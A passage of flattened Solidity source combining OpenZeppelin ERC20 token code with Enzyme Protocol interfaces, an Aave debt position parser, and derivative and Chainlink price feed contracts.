string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IExternalPosition Contract
/// @author Enzyme Council <[email protected]>
interface IExternalPosition {
function getDebtAssets() external returns (address[] memory, uint256[] memory);
function getManagedAssets() external returns (address[] memory, uint256[] memory);
function init(bytes memory) external;
function receiveCallFromVault(bytes memory) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IFundDeployer Interface
/// @author Enzyme Council <[email protected]>
interface IFundDeployer {
function getOwner() external view returns (address);
function hasReconfigurationRequest(address) external view returns (bool);
function isAllowedBuySharesOnBehalfCaller(address) external view returns (bool);
function isAllowedVaultCall(
address,
bytes4,
bytes32
) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IExternalPositionParser Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for all external position parsers
interface IExternalPositionParser {
function parseAssetsForAction(
address _externalPosition,
uint256 _actionId,
bytes memory _encodedActionArgs
)
external
returns (
address[] memory assetsToTransfer_,
uint256[] memory amountsToTransfer_,
address[] memory assetsToReceive_
);
function parseInitArgs(address _vaultProxy, bytes memory _initializationData)
external
returns (bytes memory initArgs_);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title AaveDebtPositionDataDecoder Contract
/// @author Enzyme Council <[email protected]>
/// @notice Abstract contract containing data decodings for AaveDebtPosition payloads
abstract contract AaveDebtPositionDataDecoder {
/// @dev Helper to decode args used during the AddCollateral action
function __decodeAddCollateralActionArgs(bytes memory _actionArgs)
internal
pure
returns (address[] memory aTokens_, uint256[] memory amounts_)
{
return abi.decode(_actionArgs, (address[], uint256[]));
}
/// @dev Helper to decode args used during the Borrow action
function __decodeBorrowActionArgs(bytes memory _actionArgs)
internal
pure
returns (address[] memory tokens_, uint256[] memory amounts_)
{
return abi.decode(_actionArgs, (address[], uint256[]));
}
/// @dev Helper to decode args used during the ClaimRewards action
function __decodeClaimRewardsActionArgs(bytes memory _actionArgs)
internal
pure
returns (address[] memory assets_)
{
return abi.decode(_actionArgs, (address[]));
}
/// @dev Helper to decode args used during the RemoveCollateral action
function __decodeRemoveCollateralActionArgs(bytes memory _actionArgs)
internal
pure
returns (address[] memory aTokens_, uint256[] memory amounts_)
{
return abi.decode(_actionArgs, (address[], uint256[]));
}
/// @dev Helper to decode args used during the RepayBorrow action
function __decodeRepayBorrowActionArgs(bytes memory _actionArgs)
internal
pure
returns (address[] memory tokens_, uint256[] memory amounts_)
{
return abi.decode(_actionArgs, (address[], uint256[]));
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
import "../../../../infrastructure/value-interpreter/ValueInterpreter.sol";
import "../IExternalPositionParser.sol";
import "./AaveDebtPositionDataDecoder.sol";
import "./IAaveDebtPosition.sol";
pragma solidity 0.6.12;
/// @title AaveDebtPositionParser
/// @author Enzyme Council <[email protected]>
/// @notice Parser for Aave Debt Positions
contract AaveDebtPositionParser is IExternalPositionParser, AaveDebtPositionDataDecoder {
address private immutable VALUE_INTERPRETER;
constructor(address _valueInterpreter) public {
VALUE_INTERPRETER = _valueInterpreter;
}
/// @notice Parses the assets to send and receive for the callOnExternalPosition
/// @param _externalPosition The _externalPosition to be called
/// @param _actionId The _actionId for the callOnExternalPosition
/// @param _encodedActionArgs The encoded parameters for the callOnExternalPosition
/// @return assetsToTransfer_ The assets to be transferred from the Vault
/// @return amountsToTransfer_ The amounts to be transferred from the Vault
/// @return assetsToReceive_ The assets to be received at the Vault
function parseAssetsForAction(
address _externalPosition,
uint256 _actionId,
bytes memory _encodedActionArgs
)
external
override
returns (
address[] memory assetsToTransfer_,
uint256[] memory amountsToTransfer_,
address[] memory assetsToReceive_
)
{
if (_actionId == uint256(IAaveDebtPosition.Actions.AddCollateral)) {
// No need to validate aTokens, as the worst case would be that this function is used
// to indirectly add and track a misc supported asset
(assetsToTransfer_, amountsToTransfer_) = __decodeAddCollateralActionArgs(
_encodedActionArgs
);
__validateSupportedAssets(assetsToTransfer_);
} else if (_actionId == uint256(IAaveDebtPosition.Actions.Borrow)) {
// No need to validate tokens, as `borrow()` call to Aave will fail for invalid tokens,
// and even if Aave logic changes to fail silently, the worst case would be that
// this function is used to indirectly add and track a misc supported asset
(assetsToReceive_, ) = __decodeBorrowActionArgs(_encodedActionArgs);
__validateSupportedAssets(assetsToReceive_);
} else if (_actionId == uint256(IAaveDebtPosition.Actions.RemoveCollateral)) {
// Lib validates that each is a valid collateral asset
(assetsToReceive_, ) = __decodeRemoveCollateralActionArgs(_encodedActionArgs);
} else if (_actionId == uint256(IAaveDebtPosition.Actions.RepayBorrow)) {
// Lib validates that each is a valid borrowed asset
(assetsToTransfer_, amountsToTransfer_) = __decodeRepayBorrowActionArgs(
_encodedActionArgs
);
for (uint256 i; i < assetsToTransfer_.length; i++) {
if (amountsToTransfer_[i] == type(uint256).max) {
// Transfers the full repay amount to the external position,
// which will still call `repay()` on the lending pool with max uint.
// This is fine, because `repay()` only uses up to the full repay amount.
address debtToken = IAaveDebtPosition(_externalPosition)
.getDebtTokenForBorrowedAsset(assetsToTransfer_[i]);
amountsToTransfer_[i] = ERC20(debtToken).balanceOf(_externalPosition);
}
}
}
// No validations or transferred assets passed for Actions.ClaimRewards
return (assetsToTransfer_, amountsToTransfer_, assetsToReceive_);
}
/// @notice Parse and validate input arguments to be used when initializing a newly-deployed ExternalPositionProxy
/// @dev Empty for this external position type
function parseInitArgs(address, bytes memory) external override returns (bytes memory) {}
/// @dev Helper to validate that assets are supported within the protocol
function __validateSupportedAssets(address[] memory _assets) private view {
for (uint256 i; i < _assets.length; i++) {
require(
IValueInterpreter(VALUE_INTERPRETER).isSupportedAsset(_assets[i]),
"__validateSupportedAssets: Unsupported asset"
);
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
import "../../../../../persistent/external-positions/IExternalPosition.sol";
pragma solidity 0.6.12;
/// @title IAaveDebtPosition Interface
/// @author Enzyme Council <[email protected]>
interface IAaveDebtPosition is IExternalPosition {
enum Actions {AddCollateral, RemoveCollateral, Borrow, RepayBorrow, ClaimRewards}
function getDebtTokenForBorrowedAsset(address) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./IDerivativePriceFeed.sol";
/// @title AggregatedDerivativePriceFeedMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice Aggregates multiple derivative price feeds (e.g., Compound, Chai) and dispatches
/// rate requests to the appropriate feed
abstract contract AggregatedDerivativePriceFeedMixin {
event DerivativeAdded(address indexed derivative, address priceFeed);
event DerivativeRemoved(address indexed derivative);
mapping(address => address) private derivativeToPriceFeed;
/// @notice Gets the rates for 1 unit of the derivative to its underlying assets
/// @param _derivative The derivative for which to get the rates
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The rates for the _derivative to the underlyings_
function __calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
internal
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
address derivativePriceFeed = getPriceFeedForDerivative(_derivative);
require(
derivativePriceFeed != address(0),
"calcUnderlyingValues: _derivative is not supported"
);
return
IDerivativePriceFeed(derivativePriceFeed).calcUnderlyingValues(
_derivative,
_derivativeAmount
);
}
//////////////////////////
// DERIVATIVES REGISTRY //
//////////////////////////
/// @notice Adds a list of derivatives with the given price feed values
/// @param _derivatives The derivatives to add
/// @param _priceFeeds The ordered price feeds corresponding to the list of _derivatives
function __addDerivatives(address[] memory _derivatives, address[] memory _priceFeeds)
internal
{
require(
_derivatives.length == _priceFeeds.length,
"__addDerivatives: Unequal _derivatives and _priceFeeds array lengths"
);
for (uint256 i = 0; i < _derivatives.length; i++) {
require(
getPriceFeedForDerivative(_derivatives[i]) == address(0),
"__addDerivatives: Already added"
);
__validateDerivativePriceFeed(_derivatives[i], _priceFeeds[i]);
derivativeToPriceFeed[_derivatives[i]] = _priceFeeds[i];
emit DerivativeAdded(_derivatives[i], _priceFeeds[i]);
}
}
/// @notice Removes a list of derivatives
/// @param _derivatives The derivatives to remove
function __removeDerivatives(address[] memory _derivatives) internal {
for (uint256 i = 0; i < _derivatives.length; i++) {
require(
getPriceFeedForDerivative(_derivatives[i]) != address(0),
"removeDerivatives: Derivative not yet added"
);
delete derivativeToPriceFeed[_derivatives[i]];
emit DerivativeRemoved(_derivatives[i]);
}
}
// PRIVATE FUNCTIONS
/// @dev Helper to validate a derivative price feed
function __validateDerivativePriceFeed(address _derivative, address _priceFeed) private view {
require(
IDerivativePriceFeed(_priceFeed).isSupportedAsset(_derivative),
"__validateDerivativePriceFeed: Unsupported derivative"
);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the registered price feed for a given derivative
/// @return priceFeed_ The price feed contract address
function getPriceFeedForDerivative(address _derivative)
public
view
returns (address priceFeed_)
{
return derivativeToPriceFeed[_derivative];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IDerivativePriceFeed Interface
/// @author Enzyme Council <[email protected]>
/// @notice Simple interface for derivative price source oracle implementations
interface IDerivativePriceFeed {
function calcUnderlyingValues(address, uint256)
external
returns (address[] memory, uint256[] memory);
function isSupportedAsset(address) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../interfaces/IChainlinkAggregator.sol";
/// @title ChainlinkPriceFeedMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A price feed that uses Chainlink oracles as price sources
abstract contract ChainlinkPriceFeedMixin {
using SafeMath for uint256;
event EthUsdAggregatorSet(address prevEthUsdAggregator, address nextEthUsdAggregator);
event PrimitiveAdded(
address indexed primitive,
address aggregator,
RateAsset rateAsset,
uint256 unit
);
event PrimitiveRemoved(address indexed primitive);
enum RateAsset {ETH, USD}
struct AggregatorInfo {
address aggregator;
RateAsset rateAsset;
}
uint256 private constant ETH_UNIT = 10**18;
uint256 private immutable STALE_RATE_THRESHOLD;
address private immutable WETH_TOKEN;
address private ethUsdAggregator;
mapping(address => AggregatorInfo) private primitiveToAggregatorInfo;
mapping(address => uint256) private primitiveToUnit;
constructor(address _wethToken, uint256 _staleRateThreshold) public {
STALE_RATE_THRESHOLD = _staleRateThreshold;
WETH_TOKEN = _wethToken;
}
// INTERNAL FUNCTIONS
/// @notice Calculates the value of a base asset in terms of a quote asset (using a canonical rate)
/// @param _baseAsset The base asset
/// @param _baseAssetAmount The base asset amount to convert
/// @param _quoteAsset The quote asset
/// @return quoteAssetAmount_ The equivalent quote asset amount
function __calcCanonicalValue(
address _baseAsset,
uint256 _baseAssetAmount,
address _quoteAsset
) internal view returns (uint256 quoteAssetAmount_) {
// Case where _baseAsset == _quoteAsset is handled by ValueInterpreter
int256 baseAssetRate = __getLatestRateData(_baseAsset);
require(baseAssetRate > 0, "__calcCanonicalValue: Invalid base asset rate");
int256 quoteAssetRate = __getLatestRateData(_quoteAsset);
require(quoteAssetRate > 0, "__calcCanonicalValue: Invalid quote asset rate");
return
__calcConversionAmount(
_baseAsset,
_baseAssetAmount,
uint256(baseAssetRate),
_quoteAsset,
uint256(quoteAssetRate)
);
}
/// @dev Helper to set the `ethUsdAggregator` value
function __setEthUsdAggregator(address _nextEthUsdAggregator) internal {
address prevEthUsdAggregator = getEthUsdAggregator();
require(
_nextEthUsdAggregator != prevEthUsdAggregator,
"__setEthUsdAggregator: Value already set"
);
__validateAggregator(_nextEthUsdAggregator);
ethUsdAggregator = _nextEthUsdAggregator;
emit EthUsdAggregatorSet(prevEthUsdAggregator, _nextEthUsdAggregator);
}
// PRIVATE FUNCTIONS
/// @dev Helper to convert an amount from a _baseAsset to a _quoteAsset
function __calcConversionAmount(
address _baseAsset,
uint256 _baseAssetAmount,
uint256 _baseAssetRate,
address _quoteAsset,
uint256 _quoteAssetRate
) private view returns (uint256 quoteAssetAmount_) {
RateAsset baseAssetRateAsset = getRateAssetForPrimitive(_baseAsset);
RateAsset quoteAssetRateAsset = getRateAssetForPrimitive(_quoteAsset);
uint256 baseAssetUnit = getUnitForPrimitive(_baseAsset);
uint256 quoteAssetUnit = getUnitForPrimitive(_quoteAsset);
// If rates are both in ETH or both in USD
if (baseAssetRateAsset == quoteAssetRateAsset) {
return
__calcConversionAmountSameRateAsset(
_baseAssetAmount,
baseAssetUnit,
_baseAssetRate,
quoteAssetUnit,
_quoteAssetRate
);
}
(, int256 ethPerUsdRate, , uint256 ethPerUsdRateLastUpdatedAt, ) = IChainlinkAggregator(
getEthUsdAggregator()
)
.latestRoundData();
require(ethPerUsdRate > 0, "__calcConversionAmount: Bad ethUsd rate");
__validateRateIsNotStale(ethPerUsdRateLastUpdatedAt);
// If _baseAsset's rate is in ETH and _quoteAsset's rate is in USD
if (baseAssetRateAsset == RateAsset.ETH) {
return
__calcConversionAmountEthRateAssetToUsdRateAsset(
_baseAssetAmount,
baseAssetUnit,
_baseAssetRate,
quoteAssetUnit,
_quoteAssetRate,
uint256(ethPerUsdRate)
);
}
// If _baseAsset's rate is in USD and _quoteAsset's rate is in ETH
return
__calcConversionAmountUsdRateAssetToEthRateAsset(
_baseAssetAmount,
baseAssetUnit,
_baseAssetRate,
quoteAssetUnit,
_quoteAssetRate,
uint256(ethPerUsdRate)
);
}
/// @dev Helper to convert amounts where the base asset has an ETH rate and the quote asset has a USD rate
function __calcConversionAmountEthRateAssetToUsdRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate,
uint256 _ethPerUsdRate
) private pure returns (uint256 quoteAssetAmount_) {
// Only allows two consecutive multiplication operations to avoid potential overflow.
// Intermediate step needed to resolve stack-too-deep error.
uint256 intermediateStep = _baseAssetAmount.mul(_baseAssetRate).mul(_ethPerUsdRate).div(
ETH_UNIT
);
return intermediateStep.mul(_quoteAssetUnit).div(_baseAssetUnit).div(_quoteAssetRate);
}
/// @dev Helper to convert amounts where base and quote assets both have ETH rates or both have USD rates
function __calcConversionAmountSameRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate
) private pure returns (uint256 quoteAssetAmount_) {
// Only allows two consecutive multiplication operations to avoid potential overflow
return
_baseAssetAmount.mul(_baseAssetRate).mul(_quoteAssetUnit).div(
_baseAssetUnit.mul(_quoteAssetRate)
);
}
/// @dev Helper to convert amounts where the base asset has a USD rate and the quote asset has an ETH rate
function __calcConversionAmountUsdRateAssetToEthRateAsset(
uint256 _baseAssetAmount,
uint256 _baseAssetUnit,
uint256 _baseAssetRate,
uint256 _quoteAssetUnit,
uint256 _quoteAssetRate,
uint256 _ethPerUsdRate
) private pure returns (uint256 quoteAssetAmount_) {
// Only allows two consecutive multiplication operations to avoid potential overflow
// Intermediate step needed to resolve stack-too-deep error.
uint256 intermediateStep = _baseAssetAmount.mul(_baseAssetRate).mul(_quoteAssetUnit).div(
_ethPerUsdRate
);
return intermediateStep.mul(ETH_UNIT).div(_baseAssetUnit).div(_quoteAssetRate);
}
/// @dev Helper to get the latest rate for a given primitive
function __getLatestRateData(address _primitive) private view returns (int256 rate_) {
if (_primitive == getWethToken()) {
return int256(ETH_UNIT);
}
address aggregator = getAggregatorForPrimitive(_primitive);
require(aggregator != address(0), "__getLatestRateData: Primitive does not exist");
uint256 rateUpdatedAt;
(, rate_, , rateUpdatedAt, ) = IChainlinkAggregator(aggregator).latestRoundData();
__validateRateIsNotStale(rateUpdatedAt);
return rate_;
}
/// @dev Helper to validate that a rate is not from a round considered to be stale
function __validateRateIsNotStale(uint256 _latestUpdatedAt) private view {
require(
_latestUpdatedAt >= block.timestamp.sub(getStaleRateThreshold()),
"__validateRateIsNotStale: Stale rate detected"
);
}
/////////////////////////
// PRIMITIVES REGISTRY //
/////////////////////////
/// @notice Adds a list of primitives with the given aggregator and rateAsset values
/// @param _primitives The primitives to add
/// @param _aggregators The ordered aggregators corresponding to the list of _primitives
/// @param _rateAssets The ordered rate assets corresponding to the list of _primitives
function __addPrimitives(
address[] calldata _primitives,
address[] calldata _aggregators,
RateAsset[] calldata _rateAssets
) internal {
require(
_primitives.length == _aggregators.length,
"__addPrimitives: Unequal _primitives and _aggregators array lengths"
);
require(
_primitives.length == _rateAssets.length,
"__addPrimitives: Unequal _primitives and _rateAssets array lengths"
);
for (uint256 i; i < _primitives.length; i++) {
require(
getAggregatorForPrimitive(_primitives[i]) == address(0),
"__addPrimitives: Value already set"
);
__validateAggregator(_aggregators[i]);
primitiveToAggregatorInfo[_primitives[i]] = AggregatorInfo({
aggregator: _aggregators[i],
rateAsset: _rateAssets[i]
});
// Store the amount that makes up 1 unit given the asset's decimals
uint256 unit = 10**uint256(ERC20(_primitives[i]).decimals());
primitiveToUnit[_primitives[i]] = unit;
emit PrimitiveAdded(_primitives[i], _aggregators[i], _rateAssets[i], unit);
}
}
/// @notice Removes a list of primitives from the feed
/// @param _primitives The primitives to remove
function __removePrimitives(address[] calldata _primitives) internal {
for (uint256 i; i < _primitives.length; i++) {
require(
getAggregatorForPrimitive(_primitives[i]) != address(0),
"__removePrimitives: Primitive not yet added"
);
delete primitiveToAggregatorInfo[_primitives[i]];
delete primitiveToUnit[_primitives[i]];
emit PrimitiveRemoved(_primitives[i]);
}
}
// PRIVATE FUNCTIONS
/// @dev Helper to validate an aggregator by checking its return values for the expected interface
function __validateAggregator(address _aggregator) private view {
(, int256 answer, , uint256 updatedAt, ) = IChainlinkAggregator(_aggregator)
.latestRoundData();
require(answer > 0, "__validateAggregator: No rate detected");
__validateRateIsNotStale(updatedAt);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the aggregator for a primitive
/// @param _primitive The primitive asset for which to get the aggregator value
/// @return aggregator_ The aggregator address
function getAggregatorForPrimitive(address _primitive)
public
view
returns (address aggregator_)
{
return primitiveToAggregatorInfo[_primitive].aggregator;
}
/// @notice Gets the `ethUsdAggregator` variable value
/// @return ethUsdAggregator_ The `ethUsdAggregator` variable value
function getEthUsdAggregator() public view returns (address ethUsdAggregator_) {
return ethUsdAggregator;
}
/// @notice Gets the rateAsset variable value for a primitive
/// @return rateAsset_ The rateAsset variable value
/// @dev This isn't strictly necessary as WETH_TOKEN will be undefined and thus
/// the RateAsset will be the 0-position of the enum (i.e. ETH), but it makes the
/// behavior more explicit
function getRateAssetForPrimitive(address _primitive)
public
view
returns (RateAsset rateAsset_)
{
if (_primitive == getWethToken()) {
return RateAsset.ETH;
}
return primitiveToAggregatorInfo[_primitive].rateAsset;
}
/// @notice Gets the `STALE_RATE_THRESHOLD` variable value
/// @return staleRateThreshold_ The `STALE_RATE_THRESHOLD` value
function getStaleRateThreshold() public view returns (uint256 staleRateThreshold_) {
return STALE_RATE_THRESHOLD;
}
/// @notice Gets the unit variable value for a primitive
/// @return unit_ The unit variable value
function getUnitForPrimitive(address _primitive) public view returns (uint256 unit_) {
if (_primitive == getWethToken()) {
return ETH_UNIT;
}
return primitiveToUnit[_primitive];
}
/// @notice Gets the `WETH_TOKEN` variable value
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() public view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IValueInterpreter interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for ValueInterpreter
interface IValueInterpreter {
function calcCanonicalAssetValue(
address,
uint256,
address
) external returns (uint256);
function calcCanonicalAssetsTotalValue(
address[] calldata,
uint256[] calldata,
address
) external returns (uint256);
function isSupportedAsset(address) external view returns (bool);
